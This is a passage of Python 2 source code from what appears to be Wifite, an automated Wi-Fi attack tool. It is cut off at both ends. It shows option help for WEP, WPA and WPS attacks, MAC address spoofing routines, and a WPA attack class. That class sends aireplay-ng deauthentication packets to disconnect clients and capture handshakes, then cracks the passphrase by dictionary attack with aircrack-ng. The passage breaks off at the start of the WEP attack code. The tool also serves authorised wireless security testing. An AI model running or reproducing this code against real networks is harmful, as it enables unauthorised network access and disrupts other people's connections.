print sw + '\t-wpat ' + var + '<sec> \t' + des + 'time to wait for WPA attack to complete (seconds) ' + de + '[500]' + W

print sw + '\t-wpadt ' + var + '<sec> \t' + des + 'time to wait between sending deauth packets (sec) ' + de + '[10]' + W

print sw + '\t-strip \t' + des + 'strip handshake using tshark or pyrit ' + de + '[off]' + W

print sw + '\t-crack ' + var + '<dic>\t' + des + 'crack WPA handshakes using ' + var + '<dic>' + des + ' wordlist file ' + de + '[off]' + W

print sw + '\t-dict ' + var + '<file>\t' + des + 'specify dictionary to use when cracking WPA ' + de + '[phpbb.txt]' + W

print sw + '\t-aircrack \t' + des + 'verify handshake using aircrack ' + de + '[on]' + W

print sw + '\t-pyrit \t' + des + 'verify handshake using pyrit ' + de + '[off]' + W

print sw + '\t-tshark \t' + des + 'verify handshake using tshark ' + de + '[on]' + W

print sw + '\t-cowpatty \t' + des + 'verify handshake using cowpatty ' + de + '[off]' + W

print head + '\n WEP' + W

print sw + '\t-wep \t' + des + 'only target WEP networks ' + de + '[off]' + W

print sw + '\t-pps ' + var + '<num> \t' + des + 'set the number of packets per second to inject ' + de + '[600]' + W

print sw + '\t-wept ' + var + '<sec> \t' + des + 'sec to wait for each attack, 0 implies endless ' + de + '[600]' + W

print sw + '\t-chopchop \t' + des + 'use chopchop attack ' + de + '[on]' + W

print sw + '\t-arpreplay \t' + des + 'use arpreplay attack ' + de + '[on]' + W

print sw + '\t-fragment \t' + des + 'use fragmentation attack ' + de + '[on]' + W

print sw + '\t-caffelatte \t' + des + 'use caffe-latte attack ' + de + '[on]' + W

print sw + '\t-p0841 \t' + des + 'use -p0841 attack ' + de + '[on]' + W

print sw + '\t-hirte \t' + des + 'use hirte (cfrag) attack ' + de + '[on]' + W

print sw + '\t-nofakeauth \t' + des + 'stop attack if fake authentication fails ' + de + '[off]' + W

print sw + '\t-wepca ' + GR + '<n> \t' + des + 'start cracking when number of ivs surpass n ' + de + '[10000]' + W

print sw + '\t-wepsave \t' + des + 'save a copy of .cap files to this directory ' + de + '[off]' + W

print head + '\n WPS' + W

print sw + '\t-wps \t' + des + 'only target WPS networks ' + de + '[off]' + W

print sw + '\t-wpst ' + var + '<sec> \t' + des + 'max wait for new retry before giving up (0: never) ' + de + '[660]' + W

print sw + '\t-wpsratio ' + var + '<per>\t' + des + 'min ratio of successful PIN attempts/total tries ' + de + '[0]' + W

print sw + '\t-wpsretry ' + var + '<num>\t' + des + 'max number of retries for same PIN before giving up ' + de + '[0]' + W

print head + '\n EXAMPLE' + W

print sw + '\t./wifite.py ' + W + '-wps -wep -c 6 -pps 600' + W

print ''

###########################

# WIRELESS CARD FUNCTIONS #

###########################

######################

# SCANNING FUNCTIONS #

######################

def wps\_check\_targets(targets, cap\_file, verbose=True):

"""

Uses tshark to check access points in cap\_file for WPS functionality.

Sets "wps" field of targets that match to True.

"""

global RUN\_CONFIG

if not program\_exists('tshark'):

RUN\_CONFIG.WPS\_DISABLE = True # Tell 'scan' we were unable to execute tshark

return

if len(targets) == 0 or not os.path.exists(cap\_file): return

if verbose:

print GR + ' [+]' + W + ' checking for ' + G + 'WPS compatibility' + W + '...',

stdout.flush()

cmd = [

'tshark',

'-r', cap\_file, # Path to cap file

'-n', # Don't resolve addresses

# Filter WPS broadcast packets

'-Y', 'wps.wifi\_protected\_setup\_state && wlan.da == ff:ff:ff:ff:ff:ff',

'-T', 'fields', # Only output certain fields

'-e', 'wlan.ta', # BSSID

'-e', 'wps.ap\_setup\_locked', # Locked status

'-E', 'separator=,' # CSV

]

proc\_tshark = Popen(cmd, stdout=PIPE, stderr=DN)

proc\_tshark.wait()

tshark\_stdout, \_ = proc\_tshark.communicate()

bssid\_regex = re.compile("([A-F0-9\:]{17})", re.IGNORECASE)

bssids = [bssid.upper() for bssid in bssid\_regex.findall(tshark\_stdout)]

for t in targets:

if t.bssid.upper() in bssids:

t.wps = True

t.wps = t.bssid.upper() in bssids

if verbose:

print 'done'

removed = 0

if not RUN\_CONFIG.WPS\_DISABLE and RUN\_CONFIG.WPA\_DISABLE:

i = 0

while i < len(targets):

if not targets[i].wps and targets[i].encryption.find('WPA') != -1:

removed += 1

targets.pop(i)

else:

i += 1

if removed > 0 and verbose: print GR + ' [+]' + O + ' removed %d non-WPS-enabled targets%s' % (removed, W)

def print\_and\_exec(cmd):

"""

Prints and executes command "cmd". Also waits half a second

Used by rtl8187\_fix (for prettiness)

"""

print '\r \r',

stdout.flush()

print O + ' [!] ' + W + 'executing: ' + O + ' '.join(cmd) + W,

stdout.flush()

call(cmd, stdout=DN, stderr=DN)

time.sleep(0.1)

####################

# HELPER FUNCTIONS #

####################

def remove\_airodump\_files(prefix):

"""

Removes airodump output files for whatever file prefix ('wpa', 'wep', etc)

Used by wpa\_get\_handshake() and attack\_wep()

"""

global RUN\_CONFIG

remove\_file(prefix + '-01.cap')

remove\_file(prefix + '-01.csv')

remove\_file(prefix + '-01.kismet.csv')

remove\_file(prefix + '-01.kismet.netxml')

for filename in os.listdir(RUN\_CONFIG.temp):

if filename.lower().endswith('.xor'): remove\_file(RUN\_CONFIG.temp + filename)

for filename in os.listdir('.'):

if filename.startswith('replay\_') and filename.endswith('.cap'):

remove\_file(filename)

if filename.endswith('.xor'): remove\_file(filename)

# Remove .cap's from previous attack sessions

"""i = 2

while os.path.exists(temp + 'wep-' + str(i) + '.cap'):

os.remove(temp + 'wep-' + str(i) + '.cap')

i += 1

"""

def remove\_file(filename):

"""

Attempts to remove a file. Does not throw error if file is not found.

"""

try:

os.remove(filename)

except OSError:

pass

def program\_exists(program):

"""

Uses 'which' (linux command) to check if a program is installed.

"""

proc = Popen(['which', program], stdout=PIPE, stderr=PIPE)

txt = proc.communicate()

if txt[0].strip() == '' and txt[1].strip() == '':

return False

if txt[0].strip() != '' and txt[1].strip() == '':

return True

return not (txt[1].strip() == '' or txt[1].find('no %s in' % program) != -1)

def sec\_to\_hms(sec):

"""

Converts integer sec to h:mm:ss format

"""

if sec <= -1: return '[endless]'

h = sec / 3600

sec %= 3600

m = sec / 60

sec %= 60

return '[%d:%02d:%02d]' % (h, m, sec)

def send\_interrupt(process):

"""

Sends interrupt signal to process's PID.

"""

try:

os.kill(process.pid, SIGINT)

# os.kill(process.pid, SIGTERM)

except OSError:

pass # process cannot be killed

except TypeError:

pass # pid is incorrect type

except UnboundLocalError:

pass # 'process' is not defined

except AttributeError:

pass # Trying to kill "None"

def get\_mac\_address(iface):

"""

Returns MAC address of "iface".

"""

proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN)

proc.wait()

mac = ''

output = proc.communicate()[0]

mac\_regex = ('[a-zA-Z0-9]{2}-' \* 6)[:-1]

match = re.search(' (%s)' % mac\_regex, output)

if match:

mac = match.groups()[0].replace('-', ':')

return mac

def generate\_random\_mac(old\_mac):

"""

Generates a random MAC address.

Keeps the same vender (first 6 chars) of the old MAC address (old\_mac).

Returns string in format old\_mac[0:9] + :XX:XX:XX where X is random hex

"""

random.seed()

new\_mac = old\_mac[:8].lower().replace('-', ':')

for i in xrange(0, 6):

if i % 2 == 0: new\_mac += ':'

new\_mac += '0123456789abcdef'[random.randint(0, 15)]

# Prevent generating the same MAC address via recursion.

if new\_mac == old\_mac:

new\_mac = generate\_random\_mac(old\_mac)

return new\_mac

def mac\_anonymize(iface):

"""

Changes MAC address of 'iface' to a random MAC.

Only randomizes the last 6 digits of the MAC, so the vender says the same.

Stores old MAC address and the interface in ORIGINAL\_IFACE\_MAC

"""

global RUN\_CONFIG

if RUN\_CONFIG.DO\_NOT\_CHANGE\_MAC: return

if not program\_exists('ifconfig'): return

# Store old (current) MAC address

proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN)

proc.wait()

for word in proc.communicate()[0].split('\n')[0].split(' '):

if word != '': old\_mac = word

RUN\_CONFIG.ORIGINAL\_IFACE\_MAC = (iface, old\_mac)

new\_mac = generate\_random\_mac(old\_mac)

call(['ifconfig', iface, 'down'])

print GR + " [+]" + W + " changing %s's MAC from %s to %s..." % (G + iface + W, G + old\_mac + W, O + new\_mac + W),

stdout.flush()

proc = Popen(['ifconfig', iface, 'hw', 'ether', new\_mac], stdout=PIPE, stderr=DN)

proc.wait()

call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN)

print 'done'

def mac\_change\_back():

"""

Changes MAC address back to what it was before attacks began.

"""

global RUN\_CONFIG

iface = RUN\_CONFIG.ORIGINAL\_IFACE\_MAC[0]

old\_mac = RUN\_CONFIG.ORIGINAL\_IFACE\_MAC[1]

if iface == '' or old\_mac == '': return

print GR + " [+]" + W + " changing %s's mac back to %s..." % (G + iface + W, G + old\_mac + W),

stdout.flush()

call(['ifconfig', iface, 'down'], stdout=DN, stderr=DN)

proc = Popen(['ifconfig', iface, 'hw', 'ether', old\_mac], stdout=PIPE, stderr=DN)

proc.wait()

call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN)

print "done"

def get\_essid\_from\_cap(bssid, capfile):

"""

Attempts to get ESSID from cap file using BSSID as reference.

Returns '' if not found.

"""

if not program\_exists('tshark'): return ''

cmd = ['tshark',

'-r', capfile,

'-R', 'wlan.fc.type\_subtype == 0x05 && wlan.sa == %s' % bssid,

'-2', # -R is deprecated and requires -2

'-n']

proc = Popen(cmd, stdout=PIPE, stderr=DN)

proc.wait()

for line in proc.communicate()[0].split('\n'):

if line.find('SSID=') != -1:

essid = line[line.find('SSID=') + 5:]

print GR + ' [+]' + W + ' guessed essid: %s' % (G + essid + W)

return essid

print R + ' [!]' + O + ' unable to guess essid!' + W

return ''

def get\_bssid\_from\_cap(essid, capfile):

"""

Returns first BSSID of access point found in cap file.

This is not accurate at all, but it's a good guess.

Returns '' if not found.

"""

global RUN\_CONFIG

if not program\_exists('tshark'): return ''

# Attempt to get BSSID based on ESSID

if essid != '':

cmd = ['tshark',

'-r', capfile,

'-R', 'wlan\_mgt.ssid == "%s" && wlan.fc.type\_subtype == 0x05' % (essid),

'-2', # -R is deprecated and requires -2

'-n', # Do not resolve MAC vendor names

'-T', 'fields', # Only display certain fields

'-e', 'wlan.sa'] # souce MAC address

proc = Popen(cmd, stdout=PIPE, stderr=DN)

proc.wait()

bssid = proc.communicate()[0].split('\n')[0]

if bssid != '': return bssid

cmd = ['tshark',

'-r', capfile,

'-R', 'eapol',

'-2', # -R is deprecated and requires -2

'-n']

proc = Popen(cmd, stdout=PIPE, stderr=DN)

proc.wait()

for line in proc.communicate()[0].split('\n'):

if line.endswith('Key (msg 1/4)') or line.endswith('Key (msg 3/4)'):

while line.startswith(' ') or line.startswith('\t'): line = line[1:]

line = line.replace('\t', ' ')

while line.find(' ') != -1: line = line.replace(' ', ' ')

return line.split(' ')[2]

elif line.endswith('Key (msg 2/4)') or line.endswith('Key (msg 4/4)'):

while line.startswith(' ') or line.startswith('\t'): line = line[1:]

line = line.replace('\t', ' ')

while line.find(' ') != -1: line = line.replace(' ', ' ')

return line.split(' ')[4]

return ''

def attack\_interrupted\_prompt():

"""

Promps user to decide if they want to exit,

skip to cracking WPA handshakes,

or continue attacking the remaining targets (if applicable).

returns True if user chose to exit complete, False otherwise

"""

global RUN\_CONFIG

should\_we\_exit = False

# If there are more targets to attack, ask what to do next

if RUN\_CONFIG.TARGETS\_REMAINING > 0:

options = ''

print GR + "\n [+] %s%d%s target%s remain%s" % (G, RUN\_CONFIG.TARGETS\_REMAINING, W,

'' if RUN\_CONFIG.TARGETS\_REMAINING == 1 else 's',

's' if RUN\_CONFIG.TARGETS\_REMAINING == 1 else '')

print GR + " [+]" + W + " what do you want to do?"

options += G + 'c' + W

print G + " [c]ontinue" + W + " attacking targets"

if len(RUN\_CONFIG.WPA\_CAPS\_TO\_CRACK) > 0:

options += W + ', ' + O + 's' + W

print O + " [s]kip" + W + " to cracking WPA cap files"

options += W + ', or ' + R + 'e' + W

print R + " [e]xit" + W + " completely"

ri = ''

while ri != 'c' and ri != 's' and ri != 'e':

ri = raw\_input(GR + ' [+]' + W + ' please make a selection (%s): ' % options)

if ri == 's':

RUN\_CONFIG.TARGETS\_REMAINING = -1 # Tells start() to ignore other targets, skip to cracking

elif ri == 'e':

should\_we\_exit = True

return should\_we\_exit

#

# Abstract base class for attacks.

# Attacks are required to implement the following methods:

# RunAttack - Initializes the attack

# EndAttack - Cleanly ends the attack

#

class Attack(object):

\_\_metaclass\_\_ = abc.ABCMeta

@abc.abstractmethod

def RunAttack(self):

raise NotImplementedError()

@abc.abstractmethod

def EndAttack(self):

raise NotImplementedError()

#################

# WPA FUNCTIONS #

#################

class WPAAttack(Attack):

def \_\_init\_\_(self, iface, target, clients, config):

self.iface = iface

self.clients = clients

self.target = target

self.RUN\_CONFIG = config

def RunAttack(self):

'''

Abstract method for initializing the WPA attack

'''

self.wpa\_get\_handshake()

def EndAttack(self):

'''

Abstract method for ending the WPA attack

'''

pass

def wpa\_get\_handshake(self):

"""

Opens an airodump capture on the target, dumping to a file.

During the capture, sends deauthentication packets to the target both as

general deauthentication packets and specific packets aimed at connected clients.

Waits until a handshake is captured.

"iface" - interface to capture on

"target" - Target object containing info on access point

"clients" - List of Client objects associated with the target

Returns True if handshake was found, False otherwise

"""

if self.RUN\_CONFIG.WPA\_ATTACK\_TIMEOUT <= 0: self.RUN\_CONFIG.WPA\_ATTACK\_TIMEOUT = -1

# Generate the filename to save the .cap file as <SSID>\_aa-bb-cc-dd-ee-ff.cap

save\_as = self.RUN\_CONFIG.WPA\_HANDSHAKE\_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) \

+ '\_' + self.target.bssid.replace(':', '-') + '.cap'

# Check if we already have a handshake for this SSID... If we do, generate a new filename

save\_index = 0

while os.path.exists(save\_as):

save\_index += 1

save\_as = self.RUN\_CONFIG.WPA\_HANDSHAKE\_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) \

+ '\_' + self.target.bssid.replace(':', '-') \

+ '\_' + str(save\_index) + '.cap'

file\_prefix = os.path.join(self.RUN\_CONFIG.temp, 'wpa')

cap\_file = file\_prefix + '-01.cap'

csv\_file = file\_prefix + '-01.csv'

# Remove previous airodump output files (if needed)

remove\_airodump\_files(file\_prefix)

# Start of large Try-Except; used for catching keyboard interrupt (Ctrl+C)

try:

# Start airodump-ng process to capture handshakes

cmd = ['airodump-ng',

'-w', file\_prefix,

'-c', self.target.channel,

'--write-interval', '1',

'--bssid', self.target.bssid,

self.iface]

proc\_read = Popen(cmd, stdout=DN, stderr=DN)

# Setting deauthentication process here to avoid errors later on

proc\_deauth = None

print ' %s starting %swpa handshake capture%s on "%s"' % \

(GR + sec\_to\_hms(self.RUN\_CONFIG.WPA\_ATTACK\_TIMEOUT) + W, G, W, G + self.target.ssid + W)

got\_handshake = False

seconds\_running = 0

seconds\_since\_last\_deauth = 0

target\_clients = self.clients[:]

client\_index = -1

start\_time = time.time()

# Deauth and check-for-handshake loop

while not got\_handshake and (

self.RUN\_CONFIG.WPA\_ATTACK\_TIMEOUT <= 0 or seconds\_running < self.RUN\_CONFIG.WPA\_ATTACK\_TIMEOUT):

if proc\_read.poll() != None:

print ""

print "airodump-ng exited with status " + str(proc\_read.poll())

print ""

break

time.sleep(1)

seconds\_since\_last\_deauth += int(time.time() - start\_time - seconds\_running)

seconds\_running = int(time.time() - start\_time)

print " \r",

print ' %s listening for handshake...\r' % \

(GR + sec\_to\_hms(self.RUN\_CONFIG.WPA\_ATTACK\_TIMEOUT - seconds\_running) + W),

stdout.flush()

if seconds\_since\_last\_deauth > self.RUN\_CONFIG.WPA\_DEAUTH\_TIMEOUT:

seconds\_since\_last\_deauth = 0

# Send deauth packets via aireplay-ng

cmd = ['aireplay-ng',

'--ignore-negative-one',

'--deauth',

str(self.RUN\_CONFIG.WPA\_DEAUTH\_COUNT), # Number of packets to send

'-a', self.target.bssid]

client\_index += 1

if client\_index == -1 or len(target\_clients) == 0 or client\_index >= len(target\_clients):

print " %s sending %s deauth to %s\*broadcast\*%s..." % \

(GR + sec\_to\_hms(self.RUN\_CONFIG.WPA\_ATTACK\_TIMEOUT - seconds\_running) + W,

G + str(self.RUN\_CONFIG.WPA\_DEAUTH\_COUNT) + W, G, W),

client\_index = -1

else:

print " %s sending %s deauth to %s... " % \

(GR + sec\_to\_hms(self.RUN\_CONFIG.WPA\_ATTACK\_TIMEOUT - seconds\_running) + W, \

G + str(self.RUN\_CONFIG.WPA\_DEAUTH\_COUNT) + W, \

G + target\_clients[client\_index].bssid + W),

cmd.append('-c')

cmd.append(target\_clients[client\_index].bssid)

cmd.append(self.iface)

stdout.flush()

# Send deauth packets via aireplay, wait for them to complete.

proc\_deauth = Popen(cmd, stdout=DN, stderr=DN)

proc\_deauth.wait()

print "sent\r",

stdout.flush()

# Copy current dump file for consistency

if not os.path.exists(cap\_file): continue

temp\_cap\_file = cap\_file + '.temp'

copy(cap\_file, temp\_cap\_file)

# Save copy of cap file (for debugging)

#remove\_file('/root/new/wpa-01.cap')

#copy(temp + 'wpa-01.cap', '/root/new/wpa-01.cap')

# Check for handshake

if self.has\_handshake(self.target, temp\_cap\_file):

got\_handshake = True

try:

os.mkdir(self.RUN\_CONFIG.WPA\_HANDSHAKE\_DIR + os.sep)

except OSError:

pass

# Kill the airodump and aireplay processes

send\_interrupt(proc\_read)

send\_interrupt(proc\_deauth)

# Save a copy of the handshake

rename(temp\_cap\_file, save\_as)

print '\n %s %shandshake captured%s! saved as "%s"' % (

GR + sec\_to\_hms(seconds\_running) + W, G, W, G + save\_as + W)

self.RUN\_CONFIG.WPA\_FINDINGS.append(

'%s (%s) handshake captured' % (self.target.ssid, self.target.bssid))

self.RUN\_CONFIG.WPA\_FINDINGS.append('saved as %s' % (save\_as))

self.RUN\_CONFIG.WPA\_FINDINGS.append('')

# Strip handshake if needed

if self.RUN\_CONFIG.WPA\_STRIP\_HANDSHAKE: self.strip\_handshake(save\_as)

# Add the filename and SSID to the list of 'to-crack'

# Cracking will be handled after all attacks are finished.

self.RUN\_CONFIG.WPA\_CAPS\_TO\_CRACK.append(CapFile(save\_as, self.target.ssid, self.target.bssid))

break # Break out of while loop

# No handshake yet

os.remove(temp\_cap\_file)

# Check the airodump output file for new clients

for client in self.RUN\_CONFIG.RUN\_ENGINE.parse\_csv(csv\_file)[1]:

if client.station != self.target.bssid: continue

new\_client = True

for c in target\_clients:

if client.bssid == c.bssid:

new\_client = False

break

if new\_client:

print " %s %snew client%s found: %s " % \

(GR + sec\_to\_hms(self.RUN\_CONFIG.WPA\_ATTACK\_TIMEOUT - seconds\_running) + W, G, W, \

G + client.bssid + W)

target\_clients.append(client)

# End of Handshake wait loop.

if not got\_handshake:

print R + ' [0:00:00]' + O + ' unable to capture handshake in time' + W

except KeyboardInterrupt:

print R + '\n (^C)' + O + ' WPA handshake capture interrupted' + W

if attack\_interrupted\_prompt():

remove\_airodump\_files(file\_prefix)

send\_interrupt(proc\_read)

send\_interrupt(proc\_deauth)

print ''

self.RUN\_CONFIG.exit\_gracefully(0)

# clean up

remove\_airodump\_files(file\_prefix)

send\_interrupt(proc\_read)

send\_interrupt(proc\_deauth)

return got\_handshake

def has\_handshake\_tshark(self, target, capfile):

"""

Uses TShark to check for a handshake.

Returns "True" if handshake is found, false otherwise.

"""

if program\_exists('tshark'):

# Call Tshark to return list of EAPOL packets in cap file.

cmd = ['tshark',

'-r', capfile, # Input file

'-R', 'eapol', # Filter (only EAPOL packets)

'-2', # -R is deprecated and requires -2

'-n'] # Do not resolve names (MAC vendors)

proc = Popen(cmd, stdout=PIPE, stderr=DN)

proc.wait()

lines = proc.communicate()[0].split('\n')

# Get list of all clients in cap file

clients = []

for line in lines:

if line.find('appears to have been cut short') != -1 or line.find(

'Running as user "root"') != -1 or line.strip() == '':

continue

while line.startswith(' '): line = line[1:]

while line.find(' ') != -1: line = line.replace(' ', ' ')

fields = line.split(' ')

# ensure tshark dumped correct info

if len(fields) < 5:

continue

src = fields[2].lower()

dst = fields[4].lower()

if src == target.bssid.lower() and clients.count(dst) == 0:

clients.append(dst)

elif dst == target.bssid.lower() and clients.count(src) == 0:

clients.append(src)

# Check each client for a handshake

for client in clients:

msg\_num = 1 # Index of message in 4-way handshake (starts at 1)

for line in lines:

if line.find('appears to have been cut short') != -1: continue

if line.find('Running as user "root"') != -1: continue

if line.strip() == '': continue

# Sanitize tshark's output, separate into fields

while line[0] == ' ': line = line[1:]

while line.find(' ') != -1: line = line.replace(' ', ' ')

fields = line.split(' ')

# Sometimes tshark doesn't display the full header for "Key (msg 3/4)" on the 3rd handshake.

# This catches this glitch and fixes it.

if len(fields) < 8:

continue

elif len(fields) == 8:

fields.append('(msg')

fields.append('3/4)')

src = fields[2].lower() # Source MAC address

dst = fields[4].lower() # Destination MAC address

if len(fields) == 12:

# "Message x of y" format

msg = fields[9][0]

else:

msg = fields[-1][0]

# First, third msgs in 4-way handshake are from the target to client

if msg\_num % 2 == 1 and (src != target.bssid.lower() or dst != client):

continue

# Second, fourth msgs in 4-way handshake are from client to target

elif msg\_num % 2 == 0 and (dst != target.bssid.lower() or src != client):

continue

# The messages must appear in sequential order.

try:

if int(msg) != msg\_num: continue

except ValueError:

continue

msg\_num += 1

# We need the first 4 messages of the 4-way handshake

# Although aircrack-ng cracks just fine with only 3 of the messages...

if msg\_num >= 4:

return True

return False

def has\_handshake\_cowpatty(self, target, capfile, nonstrict=True):

"""

Uses cowpatty to check for a handshake.

Returns "True" if handshake is found, false otherwise.

"""

if not program\_exists('cowpatty'): return False

# Call cowpatty to check if capfile contains a valid handshake.

cmd = ['cowpatty',

'-r', capfile, # input file

'-s', target.ssid, # SSID

'-c'] # Check for handshake

# Uses frames 1, 2, or 3 for key attack

if nonstrict: cmd.append('-2')

proc = Popen(cmd, stdout=PIPE, stderr=DN)

proc.wait()

response = proc.communicate()[0]

if response.find('incomplete four-way handshake exchange') != -1:

return False

elif response.find('Unsupported or unrecognized pcap file.') != -1:

return False

elif response.find('Unable to open capture file: Success') != -1:

return False

return True

def has\_handshake\_pyrit(self, target, capfile):

"""

Uses pyrit to check for a handshake.

Returns "True" if handshake is found, false otherwise.

"""

if not program\_exists('pyrit'): return False

# Call pyrit to "Analyze" the cap file's handshakes.

cmd = ['pyrit',

'-r', capfile,

'analyze']

proc = Popen(cmd, stdout=PIPE, stderr=DN)

proc.wait()

hit\_essid = False

for line in proc.communicate()[0].split('\n'):

# Iterate over every line of output by Pyrit

if line == '' or line == None: continue

if line.find("AccessPoint") != -1:

hit\_essid = (line.find("('" + target.ssid + "')") != -1) and \

(line.lower().find(target.bssid.lower()) != -1)

#hit\_essid = (line.lower().find(target.bssid.lower()))

else:

# If Pyrit says it's good or workable, it's a valid handshake.

if hit\_essid and (line.find(', good, ') != -1 or line.find(', good\*, ') != -1 or line.find(', workable, ') != -1):

return True

return False

def has\_handshake\_aircrack(self, target, capfile):

"""

Uses aircrack-ng to check for handshake.

Returns True if found, False otherwise.

"""

if not program\_exists('aircrack-ng'): return False

crack = 'echo "" | aircrack-ng -a 2 -w - -b ' + target.bssid + ' ' + capfile

proc\_crack = Popen(crack, stdout=PIPE, stderr=DN, shell=True)

proc\_crack.wait()

txt = proc\_crack.communicate()[0]

return (txt.find('Passphrase not in dictionary') != -1)

def has\_handshake(self, target, capfile):

"""

Checks if .cap file contains a handshake.

Returns True if handshake is found, False otherwise.

"""

valid\_handshake = True

tried = False

if self.RUN\_CONFIG.WPA\_HANDSHAKE\_TSHARK:

tried = True

valid\_handshake = self.has\_handshake\_tshark(target, capfile)

if valid\_handshake and self.RUN\_CONFIG.WPA\_HANDSHAKE\_COWPATTY:

tried = True

valid\_handshake = self.has\_handshake\_cowpatty(target, capfile)

# Use CowPatty to check for handshake.

if valid\_handshake and self.RUN\_CONFIG.WPA\_HANDSHAKE\_COWPATTY:

tried = True

valid\_handshake = self.has\_handshake\_cowpatty(target, capfile)

# Check for handshake using Pyrit if applicable

if valid\_handshake and self.RUN\_CONFIG.WPA\_HANDSHAKE\_PYRIT:

tried = True

valid\_handshake = self.has\_handshake\_pyrit(target, capfile)

# Check for handshake using aircrack-ng

if valid\_handshake and self.RUN\_CONFIG.WPA\_HANDSHAKE\_AIRCRACK:

tried = True

valid\_handshake = self.has\_handshake\_aircrack(target, capfile)

if tried: return valid\_handshake

print R + ' [!]' + O + ' unable to check for handshake: all handshake options are disabled!'

self.RUN\_CONFIG.exit\_gracefully(1)

def strip\_handshake(self, capfile):

"""

Uses Tshark or Pyrit to strip all non-handshake packets from a .cap file

File in location 'capfile' is overwritten!

"""

output\_file = capfile

if program\_exists('pyrit'):

cmd = ['pyrit',

'-r', capfile,

'-o', capfile + '.temp',

'stripLive']

call(cmd, stdout=DN, stderr=DN)

if os.path.exists(capfile + '.temp'):

rename(capfile + '.temp', output\_file)

elif program\_exists('tshark'):

# strip results with tshark

cmd = ['tshark',

'-r', capfile, # input file

'-R', 'eapol || wlan\_mgt.tag.interpretation', # filter

'-2', # -R is deprecated and requires -2

'-w', capfile + '.temp'] # output file

proc\_strip = call(cmd, stdout=DN, stderr=DN)

rename(capfile + '.temp', output\_file)

else:

print R + " [!]" + O + " unable to strip .cap file: neither pyrit nor tshark were found" + W

##########################

# WPA CRACKING FUNCTIONS #

##########################

def wpa\_crack(capfile, RUN\_CONFIG):

"""

Cracks cap file using aircrack-ng

This is crude and slow. If people want to crack using pyrit or cowpatty or oclhashcat,

they can do so manually.

"""

if RUN\_CONFIG.WPA\_DICTIONARY == '':

print R + ' [!]' + O + ' no WPA dictionary found! use -dict <file> command-line argument' + W

return False

print GR + ' [0:00:00]' + W + ' cracking %s with %s' % (G + capfile.ssid + W, G + 'aircrack-ng' + W)

start\_time = time.time()

cracked = False

remove\_file(RUN\_CONFIG.temp + 'out.out')

remove\_file(RUN\_CONFIG.temp + 'wpakey.txt')

cmd = ['aircrack-ng',

'-a', '2', # WPA crack

'-w', RUN\_CONFIG.WPA\_DICTIONARY, # Wordlist

'-l', RUN\_CONFIG.temp + 'wpakey.txt', # Save key to file

'-b', capfile.bssid, # BSSID of target

capfile.filename]

proc = Popen(cmd, stdout=open(RUN\_CONFIG.temp + 'out.out', 'a'), stderr=DN)

try:

kt = 0 # Keys tested

kps = 0 # Keys per second

while True:

time.sleep(1)

if proc.poll() != None: # aircrack stopped

if os.path.exists(RUN\_CONFIG.temp + 'wpakey.txt'):

# Cracked

inf = open(RUN\_CONFIG.temp + 'wpakey.txt')

key = inf.read().strip()

inf.close()

RUN\_CONFIG.WPA\_FINDINGS.append('cracked wpa key for "%s" (%s): "%s"' % (

G + capfile.ssid + W, G + capfile.bssid + W, C + key + W))

RUN\_CONFIG.WPA\_FINDINGS.append('')

t = Target(capfile.bssid, 0, 0, 0, 'WPA', capfile.ssid)

t.key = key

RUN\_CONFIG.save\_cracked(t)

print GR + '\n [+]' + W + ' cracked %s (%s)!' % (G + capfile.ssid + W, G + capfile.bssid + W)

print GR + ' [+]' + W + ' key: "%s"\n' % (C + key + W)

cracked = True

else:

# Did not crack

print R + '\n [!]' + R + 'crack attempt failed' + O + ': passphrase not in dictionary' + W

break

inf = open(RUN\_CONFIG.temp + 'out.out', 'r')

lines = inf.read().split('\n')

inf.close()

outf = open(RUN\_CONFIG.temp + 'out.out', 'w')

outf.close()

for line in lines:

i = line.find(']')

j = line.find('keys tested', i)

if i != -1 and j != -1:

kts = line[i + 2:j - 1]

try:

kt = int(kts)

except ValueError:

pass

i = line.find('(')

j = line.find('k/s)', i)

if i != -1 and j != -1:

kpss = line[i + 1:j - 1]

try:

kps = float(kpss)

except ValueError:

pass

print "\r %s %s keys tested (%s%.2f keys/sec%s) " % \

(GR + sec\_to\_hms(time.time() - start\_time) + W, G + add\_commas(kt) + W, G, kps, W),

stdout.flush()

except KeyboardInterrupt:

print R + '\n (^C)' + O + ' WPA cracking interrupted' + W

send\_interrupt(proc)

try:

os.kill(proc.pid, SIGTERM)

except OSError:

pass

return cracked

def add\_commas(n):

"""

Receives integer n, returns string representation of n with commas in thousands place.

I'm sure there's easier ways of doing this... but meh.

"""

strn = str(n)

lenn = len(strn)

i = 0

result = ''

while i < lenn:

if (lenn - i) % 3 == 0 and i != 0: result += ','

result += strn[i]

i += 1

return result

#################

# WEP FUNCTIONS #

#################

class WEPAttack(Attack):

def \_\_init\_\_(self, iface, target, clients, config):

self.iface = iface

self.target = target

self.clients = clients

self.RUN\_CONFIG = config

def RunAttack(self):

'''

Abstract method for dispatching the WEP crack

'''

self.attack\_wep()

def EndAttack(self):

'''

Abstract method for ending the WEP attack

'''

pass

def attack\_wep(self):

"""

Attacks WEP-encrypted network.

Returns True if key was successfully found, False otherwise.

"""

if self.RUN\_CONFIG.WEP\_TIMEOUT <= 0: self.RUN\_CONFIG.WEP\_TIMEOUT = -1

total\_attacks = 6 # 4 + (2 if len(clients) > 0 else 0)

if not self.RUN\_CONFIG.WEP\_ARP\_REPLAY: total\_attacks -= 1

if not self.RUN\_CONFIG.WEP\_CHOPCHOP: total\_attacks -= 1

if not self.RUN\_CONFIG.WEP\_FRAGMENT: total\_attacks -= 1

if not self.RUN\_CONFIG.WEP\_CAFFELATTE: total\_attacks -= 1

if not self.RUN\_CONFIG.WEP\_P0841: total\_attacks -= 1

if not self.RUN\_CONFIG.WEP\_HIRTE: total\_attacks -= 1

if total\_attacks <= 0:

print R + ' [!]' + O + ' unable to initiate WEP attacks: no attacks are selected!'

return False

remaining\_attacks = total\_attacks

print ' %s preparing attack "%s" (%s)' % \

(GR + sec\_to\_hms(self.RUN\_CONFIG.WEP\_TIMEOUT) + W, G + self.target.ssid + W, G + self.target.bssid + W)

file\_prefix = os.path.join(self.RUN\_CONFIG.temp, 'wep')

wepkey\_file = os.path.join(self.RUN\_CONFIG.temp, 'wepkey.txt')

